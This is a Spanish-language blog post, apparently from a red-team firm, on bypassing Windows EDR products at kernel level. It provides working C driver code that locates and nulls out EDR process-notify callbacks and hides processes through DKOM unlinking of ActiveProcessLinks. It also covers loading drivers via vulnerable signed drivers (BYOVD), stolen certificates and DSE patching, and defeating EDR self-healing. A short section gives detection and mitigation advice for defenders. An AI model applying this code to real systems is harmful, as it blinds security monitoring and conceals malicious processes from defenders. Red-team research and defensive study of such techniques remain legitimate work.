Los EDR modernos son la principal línea de defensa en entornos enterprise y el obstáculo más frecuente en red team engagements. Entender cómo operan a nivel de kernel es un prerequisito para cualquier operador avanzado, tanto para evadir la detección como para diseñar defensas efectivas.
Este artículo documenta las técnicas de bypass que hemos investigado en entornos controlados: eliminación de kernel callbacks registrados por el EDR, DKOM (Direct Kernel Object Manipulation) para ocultar procesos, y consideraciones sobre PatchGuard. Todo lo descrito aplica a Windows 10/11 x64 con drivers firmados.
Este contenido es estrictamente educativo y para uso en entornos autorizados. La manipulación del kernel en sistemas de producción sin autorización es ilegal en la mayoría de jurisdicciones.
Cómo monitorizan los EDR modernos
Los EDR obtienen visibilidad a través de múltiples capas. En user-mode usan API hooking (principalmente en ntdll.dll) e inyección de DLLs en procesos. Pero la visibilidad real y difícil de evadir viene del kernel, a través de mecanismos documentados por Microsoft para el ecosistema de seguridad:
- PsSetCreateProcessNotifyRoutineEx — notificaciones de creación/terminación de procesos
- PsSetCreateThreadNotifyRoutine — notificaciones de creación de threads
- PsSetLoadImageNotifyRoutine — notificaciones de carga de imágenes y DLLs
- ObRegisterCallbacks — intercepta y puede bloquear handles a procesos/threads
- CmRegisterCallback — monitoriza operaciones sobre el registro de Windows
- Minifilter drivers — intercepción de operaciones del filesystem (IRP)
Un EDR típico registra rutinas en varios de estos callbacks simultáneamente. Por ejemplo, CrowdStrike Falcon usa todos los de la lista anterior más callbacks de red vía WFP (Windows Filtering Platform). Eliminar selectivamente los callbacks del EDR ciega su telemetría sin necesariamente generar alertas inmediatas.
Localizando los callbacks registrados
Los callbacks de procesos se almacenan en un array interno no exportado llamado PspCreateProcessNotifyRoutine. Para localizarlo, partimos de la función exportada PsSetCreateProcessNotifyRoutineEx y buscamos el offset al array mediante pattern matching en el código de la función.
// Localizar PspCreateProcessNotifyRoutine en memoria del kernelPVOID FindCallbackArray(LPCWSTR RoutineName, BYTE* Pattern, ULONG PatternLen) { UNICODE_STRING funcName; RtlInitUnicodeString(&funcName, RoutineName); PVOID funcAddr = MmGetSystemRoutineAddress(&funcName); if (!funcAddr) return NULL; // Buscar el patrón de instrucción LEA que referencia el array // en los primeros 512 bytes de la función for (ULONG i = 0; i < 512; i++) { if (RtlCompareMemory((PBYTE)funcAddr + i, Pattern, PatternLen) == PatternLen) { // El array está en la dirección calculada por la instrucción RIP-relative LONG offset = *(PLONG)((PBYTE)funcAddr + i + PatternLen); return (PBYTE)funcAddr + i + PatternLen + sizeof(LONG) + offset; } } return NULL;}El patrón de bytes varía entre versiones de Windows. En Windows 11 22H2 el patrón para PsSetCreateProcessNotifyRoutineEx comienza con 4C 8D 05 (LEA r8, [rip+offset]). Para evitar hardcodear offsets, es buena práctica verificar la versión del SO y seleccionar el patrón apropiado.
Eliminando callbacks (callback stomping)
Una vez localizado el array, cada entrada es un puntero con los 4 bits menos significativos usados como flags. El puntero real al callback se obtiene haciendo AND con ~0xF. Para deshabilitar un callback específico (por ejemplo, el del driver del EDR), podemos poner esa entrada a NULL.
#define MAX_CALLBACKS 64VOID RemoveCallback(PVOID CallbackArray, UNICODE_STRING* TargetDriver) { for (ULONG i = 0; i < MAX_CALLBACKS; i++) { PVOID* entry = (PVOID*)CallbackArray + i; PVOID rawPtr = *entry; if (!rawPtr) continue; // Extraer el puntero real (ignorar flags en bits 0-3) PVOID callbackPtr = (PVOID)((ULONG_PTR)rawPtr & ~0xFULL); // EX_CALLBACK_ROUTINE_BLOCK contiene el módulo propietario PEX_CALLBACK_ROUTINE_BLOCK block = (PEX_CALLBACK_ROUTINE_BLOCK)callbackPtr; // Obtener el nombre del driver que registró este callback PUNICODE_STRING driverName = GetDriverNameFromCallback(block); if (driverName && RtlEqualUnicodeString(driverName, TargetDriver, TRUE)) { // Usar InterlockedExchangePointer para thread-safety InterlockedExchangePointer(entry, NULL); DbgPrint("[*] Removed callback for %wZ", TargetDriver); return; } }}Algunos EDR implementan auto-healing: un thread monitoriza periódicamente sus propios callbacks y los restaura si los detecta eliminados. Para contrarrestar esto es necesario también parchear el thread de monitorización o sustituir el callback por una rutina benigna en lugar de NULL.
DKOM — Direct Kernel Object Manipulation
DKOM permite manipular estructuras de datos del kernel directamente en memoria para ocultar objetos del sistema. La técnica más conocida es el process unlinking: cada proceso en Windows tiene una estructura EPROCESS en el kernel, y todos los procesos están enlazados en una lista doblemente enlazada a través del campo ActiveProcessLinks.
Herramientas como Process Explorer, Task Manager y la syscall NtQuerySystemInformation (que usan la mayoría de antivirus para enumerar procesos) recorren esta lista. Si desvinculamos nuestro proceso de la lista, desaparecemos de su visión.
// Ocultar proceso de la lista ActiveProcessLinksNTSTATUS HideProcess(ULONG TargetPID) { PEPROCESS targetProcess = NULL; NTSTATUS status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)TargetPID, &targetProcess); if (!NT_SUCCESS(status)) return status; // Offset de ActiveProcessLinks en EPROCESS (varía por versión de Windows) // Windows 11 22H2: 0x448 ULONG offset = GetActiveProcessLinksOffset(); PLIST_ENTRY listEntry = (PLIST_ENTRY)((ULONG_PTR)targetProcess + offset); // Desvincular de la lista doblemente enlazada PLIST_ENTRY prev = listEntry->Blink; PLIST_ENTRY next = listEntry->Flink; prev->Flink = next; next->Blink = prev; // Auto-enlazar para evitar crashes si alguien lo desvincula de nuevo listEntry->Flink = listEntry; listEntry->Blink = listEntry; ObDereferenceObject(targetProcess); return STATUS_SUCCESS;}Importante: ocultar el proceso de ActiveProcessLinks no es suficiente para evadir todos los EDR. Algunos usan HandleTable enumeration o callbacks de handles (ObRegisterCallbacks) que no dependen de la lista de procesos. La evasión completa requiere combinar varias técnicas.
Cargando el driver: el problema del DSE
Para ejecutar código en el kernel se necesita cargar un driver. En Windows 10/11 con Secure Boot, Driver Signature Enforcement (DSE) requiere que todos los drivers estén firmados con un certificado EV de Microsoft. Las alternativas son:
- Explotar un driver firmado vulnerable (BYOVD — Bring Your Own Vulnerable Driver). Hay un catálogo público de drivers con vulnerabilidades conocidas (loldrivers.io).
- Usar un certificado de firma robado o comprado en el underground (detectable por Certificate Transparency logs).
- Test signing mode: requiere reinicio y deja trazas en el sistema.
- En entornos con Secure Boot deshabilitado: DSE puede parchearse en memoria.
La técnica BYOVD es la más usada en red team operations. Se carga un driver legítimo pero vulnerable, se explota su vulnerabilidad para obtener ejecución en el kernel, y desde ahí se ejecutan las primitivas de escritura/lectura de memoria necesarias para las técnicas descritas arriba.
PatchGuard y sus limitaciones
Kernel Patch Protection (PatchGuard) es el mecanismo de Microsoft para detectar modificaciones al kernel. Comprueba periódicamente (a intervalos aleatorios de 5-10 minutos) la integridad de estructuras críticas como IDT, GDT, SSDT y algunos callbacks del sistema.
PatchGuard no protege el array de PspCreateProcessNotifyRoutine directamente —esta es una limitación documentada. Sí protege la SSDT (System Service Descriptor Table), por lo que el hooking de syscalls directo es más arriesgado. Para las técnicas de callback removal y DKOM descritas, PatchGuard no es el principal obstáculo.
En la práctica, la detección más fiable de estas técnicas no viene de PatchGuard sino de ETW (Event Tracing for Windows) y de la telemetría de hypervisor en entornos con VBS/HVCI habilitado. HVCI (Hypervisor-Protected Code Integrity) sí representa un obstáculo significativo.
Detección y mitigaciones
Para los defensores, las técnicas descritas generan algunas señales detectables:
- Carga de drivers no habituales: alertar sobre cualquier NtLoadDriver de drivers no incluidos en la baseline
- Cambios en el número de callbacks registrados: monitorizar periódicamente con herramientas como Sysmon (evento 6 para carga de drivers)
- Procesos con handle activos pero ausentes en la lista del sistema: correlacionar múltiples fuentes de enumeración
- Habilitar VBS/HVCI: impide la mayor parte de técnicas DKOM al ejecutar el kernel en una VM protegida por el hypervisor
- Vulnerable driver blocklist: mantener actualizada la lista de WDAC (Windows Defender Application Control) para bloquear BYOVD conocidos
La defensa más robusta es HVCI + Secure Boot + WDAC con una política de allow-listing estricta. Esta combinación hace que la gran mayoría de técnicas de manipulación de kernel sean inviables sin comprometer el firmware del sistema.
¿Quieres probar tu resistencia?
Aplicamos estas técnicas en engagements reales. Cuéntanos tu caso.